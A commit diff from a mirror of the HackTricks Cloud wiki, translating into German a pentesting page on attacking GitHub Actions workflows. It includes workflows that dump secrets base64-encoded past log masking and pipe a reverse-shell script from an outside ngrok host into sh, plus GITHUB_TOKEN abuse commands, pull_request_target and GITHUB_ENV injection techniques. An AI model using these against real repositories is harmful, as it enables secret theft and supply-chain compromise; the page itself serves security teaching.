mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-21 08:53:19 -08:00
Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/
This commit is contained in:
@@ -2,391 +2,373 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Grundinformationen
|
||||
|
||||
In this page you will find:
|
||||
Auf dieser Seite finden Sie:
|
||||
|
||||
- A **summary of all the impacts** of an attacker managing to access a Github Action
|
||||
- Different ways to **get access to an action**:
|
||||
- Having **permissions** to create the action
|
||||
- Abusing **pull request** related triggers
|
||||
- Abusing **other external access** techniques
|
||||
- **Pivoting** from an already compromised repo
|
||||
- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
|
||||
- Eine **Zusammenfassung aller Auswirkungen**, wenn es einem Angreifer gelingt, auf eine Github Action zuzugreifen
|
||||
- Verschiedene Möglichkeiten, um **Zugriff auf eine Action zu erhalten**:
|
||||
- Berechtigungen zum Erstellen der Action haben
|
||||
- Missbrauch von **Pull-Request**-bezogenen Triggern
|
||||
- Missbrauch von **anderen externen Zugriffstechniken**
|
||||
- **Pivoting** von einem bereits kompromittierten Repo
|
||||
- Schließlich ein Abschnitt über **Post-Exploitation-Techniken, um eine Action von innen zu missbrauchen** (um die genannten Auswirkungen zu verursachen)
|
||||
|
||||
## Impacts Summary
|
||||
## Zusammenfassung der Auswirkungen
|
||||
|
||||
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
|
||||
Für eine Einführung über [**Github Actions, überprüfen Sie die grundlegenden Informationen**](../basic-github-information.md#github-actions).
|
||||
|
||||
If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
|
||||
Wenn Sie **beliebigen Code in GitHub Actions** innerhalb eines **Repositories** ausführen können, könnten Sie in der Lage sein:
|
||||
|
||||
- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
|
||||
- **Compromise deployments** and other **artifacts**.
|
||||
- If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
|
||||
- **Execute code in custom workers** to abuse computing power and pivot to other systems.
|
||||
- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
|
||||
- **Geheime Daten** zu stehlen, die in die Pipeline eingebunden sind, und die **Befugnisse der Pipeline zu missbrauchen**, um unbefugten Zugriff auf externe Plattformen wie AWS und GCP zu erhalten.
|
||||
- **Deployments** und andere **Artefakte** zu kompromittieren.
|
||||
- Wenn die Pipeline Assets bereitstellt oder speichert, könnten Sie das Endprodukt ändern, was einen Supply-Chain-Angriff ermöglicht.
|
||||
- **Code in benutzerdefinierten Workern auszuführen**, um Rechenleistung zu missbrauchen und auf andere Systeme zu pivotieren.
|
||||
- **Repository-Code zu überschreiben**, abhängig von den Berechtigungen, die mit dem `GITHUB_TOKEN` verbunden sind.
|
||||
|
||||
## GITHUB_TOKEN
|
||||
|
||||
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
|
||||
Dieses "**Geheimnis**" (stammend von `${{ secrets.GITHUB_TOKEN }}` und `${{ github.token }}`) wird gegeben, wenn der Administrator diese Option aktiviert:
|
||||
|
||||
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
Dieses Token ist dasselbe, das eine **Github-Anwendung verwenden wird**, sodass es auf dieselben Endpunkte zugreifen kann: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
|
||||
> [!WARNING]
|
||||
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
|
||||
> Github sollte einen [**Flow**](https://github.com/github/roadmap/issues/74) veröffentlichen, der **cross-repository**-Zugriff innerhalb von GitHub ermöglicht, sodass ein Repo auf andere interne Repos mit dem `GITHUB_TOKEN` zugreifen kann.
|
||||
|
||||
You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
Sie können die möglichen **Berechtigungen** dieses Tokens hier einsehen: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
|
||||
Note that the token **expires after the job has completed**.\
|
||||
These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
Beachten Sie, dass das Token **nach Abschluss des Jobs abläuft**.\
|
||||
Diese Tokens sehen so aus: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
|
||||
Some interesting things you can do with this token:
|
||||
Einige interessante Dinge, die Sie mit diesem Token tun können:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Merge PR" }}
|
||||
|
||||
```bash
|
||||
# Merge PR
|
||||
curl -X PUT \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header "content-type: application/json" \
|
||||
-d "{\"commit_title\":\"commit_title\"}"
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header "content-type: application/json" \
|
||||
-d "{\"commit_title\":\"commit_title\"}"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="Approve PR" }}
|
||||
|
||||
{{#tab name="PR genehmigen" }}
|
||||
```bash
|
||||
# Approve a PR
|
||||
curl -X POST \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
-d '{"event":"APPROVE"}'
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
-d '{"event":"APPROVE"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="Create PR" }}
|
||||
|
||||
{{#tab name="PR erstellen" }}
|
||||
```bash
|
||||
# Create a PR
|
||||
curl -X POST \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization.
|
||||
> Beachten Sie, dass Sie in mehreren Fällen **Github-Benutzertokens in den Umgebungsvariablen oder in den Geheimnissen von Github Actions** finden können. Diese Tokens können Ihnen mehr Berechtigungen über das Repository und die Organisation geben.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>List secrets in Github Action output</summary>
|
||||
|
||||
<summary>Geheimnisse im Github Action-Ausgang auflisten</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
jobs:
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get reverse shell with secrets</summary>
|
||||
|
||||
<summary>Erhalte eine Reverse-Shell mit Geheimnissen</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
jobs:
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
|
||||
Es ist möglich, die Berechtigungen, die einem Github-Token in den Repositories anderer Benutzer gegeben wurden, **durch Überprüfung der Protokolle** der Aktionen zu überprüfen:
|
||||
|
||||
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
|
||||
|
||||
## Allowed Execution
|
||||
## Erlaubte Ausführung
|
||||
|
||||
> [!NOTE]
|
||||
> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
|
||||
> Dies wäre der einfachste Weg, Github-Aktionen zu kompromittieren, da dieser Fall voraussetzt, dass Sie **ein neues Repo in der Organisation erstellen** können oder **Schreibrechte über ein Repository** haben.
|
||||
>
|
||||
> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
|
||||
> Wenn Sie sich in diesem Szenario befinden, können Sie einfach die [Post Exploitation-Techniken](./#post-exploitation-techniques-from-inside-an-action) überprüfen.
|
||||
|
||||
### Execution from Repo Creation
|
||||
### Ausführung aus der Repo-Erstellung
|
||||
|
||||
In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**.
|
||||
Falls Mitglieder einer Organisation **neue Repos erstellen** können und Sie Github-Aktionen ausführen können, können Sie **ein neues Repo erstellen und die auf Organisationsebene festgelegten Geheimnisse stehlen**.
|
||||
|
||||
### Execution from a New Branch
|
||||
### Ausführung aus einem neuen Branch
|
||||
|
||||
If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).
|
||||
|
||||
You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):
|
||||
Wenn Sie **einen neuen Branch in einem Repository erstellen können, das bereits eine konfigurierte Github-Aktion enthält**, können Sie diese **modifizieren**, den Inhalt **hochladen** und dann **diese Aktion aus dem neuen Branch ausführen**. Auf diese Weise können Sie **Repository- und Organisationsebene Geheimnisse exfiltrieren** (aber Sie müssen wissen, wie sie genannt werden).
|
||||
|
||||
Sie können die modifizierte Aktion **manuell** ausführbar machen, wenn ein **PR erstellt wird** oder wenn **einige Codes gepusht werden** (je nachdem, wie auffällig Sie sein möchten):
|
||||
```yaml
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- master
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- master
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name
|
||||
# Use '**' instead of a branh name to trigger the action in all the cranches
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Forked Execution
|
||||
|
||||
> [!NOTE]
|
||||
> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
|
||||
> Es gibt verschiedene Trigger, die es einem Angreifer ermöglichen könnten, eine **Github Action eines anderen Repositories** **auszuführen**. Wenn diese auslösbaren Aktionen schlecht konfiguriert sind, könnte ein Angreifer in der Lage sein, sie zu kompromittieren.
|
||||
|
||||
### `pull_request`
|
||||
|
||||
The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
|
||||
Der Workflow-Trigger **`pull_request`** wird jedes Mal den Workflow ausführen, wenn ein Pull-Request empfangen wird, mit einigen Ausnahmen: standardmäßig, wenn es das **erste Mal** ist, dass Sie **mitarbeiten**, muss ein **Maintainer** den **Lauf** des Workflows **genehmigen**:
|
||||
|
||||
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
|
||||
> Da die **Standardbeschränkung** für **Erstbeitragsleistende** gilt, könnten Sie **einen gültigen Bug/Tippfehler beheben** und dann **andere PRs senden, um Ihre neuen `pull_request`-Befugnisse auszunutzen**.
|
||||
>
|
||||
> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
|
||||
> **Ich habe das getestet und es funktioniert nicht**: ~~Eine andere Möglichkeit wäre, ein Konto mit dem Namen von jemandem zu erstellen, der zum Projekt beigetragen hat und dessen Konto gelöscht wurde.~~
|
||||
|
||||
Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
Darüber hinaus **verhindert standardmäßig Schreibberechtigungen** und **Zugriff auf Geheimnisse** für das Ziel-Repository, wie in den [**Docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) erwähnt:
|
||||
|
||||
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
|
||||
> Mit Ausnahme von `GITHUB_TOKEN` werden **Geheimnisse nicht an den Runner übergeben**, wenn ein Workflow aus einem **forked** Repository ausgelöst wird. Das **`GITHUB_TOKEN` hat nur Lesezugriff** in Pull-Requests **von geforkten Repositories**.
|
||||
|
||||
An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
|
||||
Ein Angreifer könnte die Definition der Github Action ändern, um beliebige Dinge auszuführen und beliebige Aktionen anzuhängen. Er wird jedoch nicht in der Lage sein, Geheimnisse zu stehlen oder das Repo zu überschreiben, aufgrund der genannten Einschränkungen.
|
||||
|
||||
> [!CAUTION]
|
||||
> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
|
||||
> **Ja, wenn der Angreifer im PR die Github Action ändert, die ausgelöst wird, wird seine Github Action verwendet und nicht die aus dem Ursprungsrepo!**
|
||||
|
||||
As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**.
|
||||
Da der Angreifer auch den ausgeführten Code kontrolliert, könnte er beispielsweise **bösartige Artefakte hochladen**, selbst wenn es keine Geheimnisse oder Schreibberechtigungen für das `GITHUB_TOKEN` gibt.
|
||||
|
||||
### **`pull_request_target`**
|
||||
|
||||
The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission).
|
||||
Der Workflow-Trigger **`pull_request_target`** hat **Schreibberechtigungen** für das Ziel-Repository und **Zugriff auf Geheimnisse** (und fragt nicht nach Erlaubnis).
|
||||
|
||||
Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
Beachten Sie, dass der Workflow-Trigger **`pull_request_target`** **im Basis-Kontext** und nicht im durch den PR gegebenen Kontext **ausgeführt wird** (um **nicht vertrauenswürdigen Code auszuführen**). Für weitere Informationen zu `pull_request_target` [**überprüfen Sie die Docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Darüber hinaus finden Sie weitere Informationen zu dieser spezifischen gefährlichen Verwendung in diesem [**Github-Blogbeitrag**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
|
||||
It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**.
|
||||
Es könnte so aussehen, als wäre der **ausgeführte Workflow** der, der in der **Basis** definiert ist und **nicht im PR**, was es **sicher** macht, **`pull_request_target`** zu verwenden, aber es gibt **einige Fälle, in denen dies nicht der Fall ist**.
|
||||
|
||||
An this one will have **access to secrets**.
|
||||
Und dieser hat **Zugriff auf Geheimnisse**.
|
||||
|
||||
### `workflow_run`
|
||||
|
||||
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
|
||||
|
||||
In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
|
||||
Der [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) Trigger ermöglicht es, einen Workflow von einem anderen auszuführen, wenn er `completed`, `requested` oder `in_progress` ist.
|
||||
|
||||
In diesem Beispiel ist ein Workflow so konfiguriert, dass er nach dem Abschluss des separaten "Run Tests"-Workflows ausgeführt wird:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
workflow_run:
|
||||
workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
```
|
||||
Moreover, according to the docs: Der durch das `workflow_run`-Ereignis gestartete Workflow kann **auf Geheimnisse zugreifen und Token schreiben, auch wenn der vorherige Workflow nicht**.
|
||||
|
||||
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
|
||||
|
||||
This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
|
||||
The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
|
||||
Diese Art von Workflow könnte angegriffen werden, wenn sie **von einem Workflow abhängt**, der von einem externen Benutzer über **`pull_request`** oder **`pull_request_target`** **ausgelöst** werden kann. Einige anfällige Beispiele können [**in diesem Blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)** gefunden werden.** Der erste besteht darin, dass der durch **`workflow_run`** ausgelöste Workflow den Code des Angreifers herunterlädt: `${{ github.event.pull_request.head.sha }}`\
|
||||
Der zweite besteht darin, ein **Artifact** vom **nicht vertrauenswürdigen** Code an den **`workflow_run`**-Workflow zu **übergeben** und den Inhalt dieses Artifacts auf eine Weise zu verwenden, die ihn **anfällig für RCE** macht.
|
||||
|
||||
### `workflow_call`
|
||||
|
||||
TODO
|
||||
|
||||
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
|
||||
TODO: Überprüfen, ob der verwendete/heruntergeladene Code bei der Ausführung von einem pull_request der vom Ursprung oder vom geforkten PR ist
|
||||
|
||||
## Abusing Forked Execution
|
||||
## Missbrauch von geforkter Ausführung
|
||||
|
||||
We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
|
||||
Wir haben alle Möglichkeiten erwähnt, wie ein externer Angreifer einen GitHub-Workflow ausführen könnte. Schauen wir uns nun an, wie diese Ausführungen, wenn sie schlecht konfiguriert sind, missbraucht werden könnten:
|
||||
|
||||
### Untrusted checkout execution
|
||||
### Nicht vertrauenswürdige Checkout-Ausführung
|
||||
|
||||
In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request).
|
||||
Im Fall von **`pull_request`** wird der Workflow im **Kontext des PR** ausgeführt (er wird also den **bösartigen PR-Code** ausführen), aber jemand muss ihn **zuerst autorisieren**, und er wird mit einigen [Einschränkungen](./#pull_request) ausgeführt.
|
||||
|
||||
In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
|
||||
Im Fall eines Workflows, der **`pull_request_target` oder `workflow_run`** verwendet und von einem Workflow abhängt, der von **`pull_request_target` oder `pull_request`** ausgelöst werden kann, wird der Code aus dem ursprünglichen Repo ausgeführt, sodass der **Angreifer den ausgeführten Code nicht kontrollieren kann**.
|
||||
|
||||
> [!CAUTION]
|
||||
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
|
||||
> Wenn die **Aktion** jedoch einen **expliziten PR-Checkout** hat, der **den Code vom PR** (und nicht von der Basis) **holt**, wird der vom Angreifer kontrollierte Code verwendet. Zum Beispiel (siehe Zeile 12, wo der PR-Code heruntergeladen wird):
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
|
||||
<pre class="language-yaml"><code class="lang-yaml"># UNSICHER. Nur als Beispiel angegeben.
|
||||
on:
|
||||
pull_request_target
|
||||
pull_request_target
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: Build and test
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
build:
|
||||
name: Build und Test
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
<strong> - uses: actions/checkout@v2
|
||||
</strong><strong> with:
|
||||
</strong><strong> ref: ${{ github.event.pull_request.head.sha }}
|
||||
</strong>
|
||||
- uses: actions/setup-node@v1
|
||||
- run: |
|
||||
npm install
|
||||
npm build
|
||||
- uses: actions/setup-node@v1
|
||||
- run: |
|
||||
npm install
|
||||
npm build
|
||||
|
||||
- uses: completely/fakeaction@v2
|
||||
with:
|
||||
arg1: ${{ secrets.supersecret }}
|
||||
- uses: completely/fakeaction@v2
|
||||
with:
|
||||
arg1: ${{ secrets.supersecret }}
|
||||
|
||||
- uses: fakerepo/comment-on-pr@v1
|
||||
with:
|
||||
message: |
|
||||
Thank you!
|
||||
- uses: fakerepo/comment-on-pr@v1
|
||||
with:
|
||||
message: |
|
||||
Danke!
|
||||
</code></pre>
|
||||
|
||||
The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
|
||||
Der potenziell **nicht vertrauenswürdige Code wird während `npm install` oder `npm build`** ausgeführt, da die Build-Skripte und die referenzierten **Pakete vom Autor des PR** kontrolliert werden.
|
||||
|
||||
> [!WARNING]
|
||||
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
|
||||
> Ein GitHub-Dork, um nach anfälligen Aktionen zu suchen, ist: `event.pull_request pull_request_target extension:yml`, jedoch gibt es verschiedene Möglichkeiten, die Jobs sicher auszuführen, selbst wenn die Aktion unsicher konfiguriert ist (wie die Verwendung von Bedingungen darüber, wer der Akteur ist, der den PR generiert).
|
||||
|
||||
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
### Kontext-Skript-Injektionen <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
|
||||
Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
|
||||
Beachten Sie, dass es bestimmte [**GitHub-Kontexte**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) gibt, deren Werte vom **Benutzer** erstellt werden, der den PR erstellt. Wenn die GitHub-Aktion diese **Daten verwendet, um irgendetwas auszuführen**, könnte dies zu **willkürlicher Codeausführung** führen:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-context-script-injections.md
|
||||
{{#endref}}
|
||||
|
||||
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
### **GITHUB_ENV-Skript-Injektion** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
|
||||
From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
|
||||
Aus den Dokumenten: Sie können eine **Umgebungsvariable für alle nachfolgenden Schritte** in einem Workflow-Job verfügbar machen, indem Sie die Umgebungsvariable definieren oder aktualisieren und dies in die **`GITHUB_ENV`**-Umgebungsdatei schreiben.
|
||||
|
||||
If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
|
||||
Wenn ein Angreifer **irgend einen Wert** in diese **env**-Variable **einschleusen** könnte, könnte er Umgebungsvariablen injizieren, die in nachfolgenden Schritten Code ausführen könnten, wie **LD_PRELOAD** oder **NODE_OPTIONS**.
|
||||
|
||||
For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
|
||||
Zum Beispiel ([**dies**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) und [**dies**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stellen Sie sich einen Workflow vor, der einem hochgeladenen Artifact vertraut, um seinen Inhalt in der **`GITHUB_ENV`**-Umgebungsvariable zu speichern. Ein Angreifer könnte etwas wie dies hochladen, um es zu kompromittieren:
|
||||
|
||||
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Vulnerable Third Party Github Actions
|
||||
### Anfällige Drittanbieter-GitHub-Aktionen
|
||||
|
||||
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
|
||||
|
||||
As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
|
||||
Wie in [**diesem Blogbeitrag**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) erwähnt, ermöglicht diese GitHub-Aktion den Zugriff auf Artefakte aus verschiedenen Workflows und sogar Repositories.
|
||||
|
||||
The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
|
||||
|
||||
Example of vulnerable workflow:
|
||||
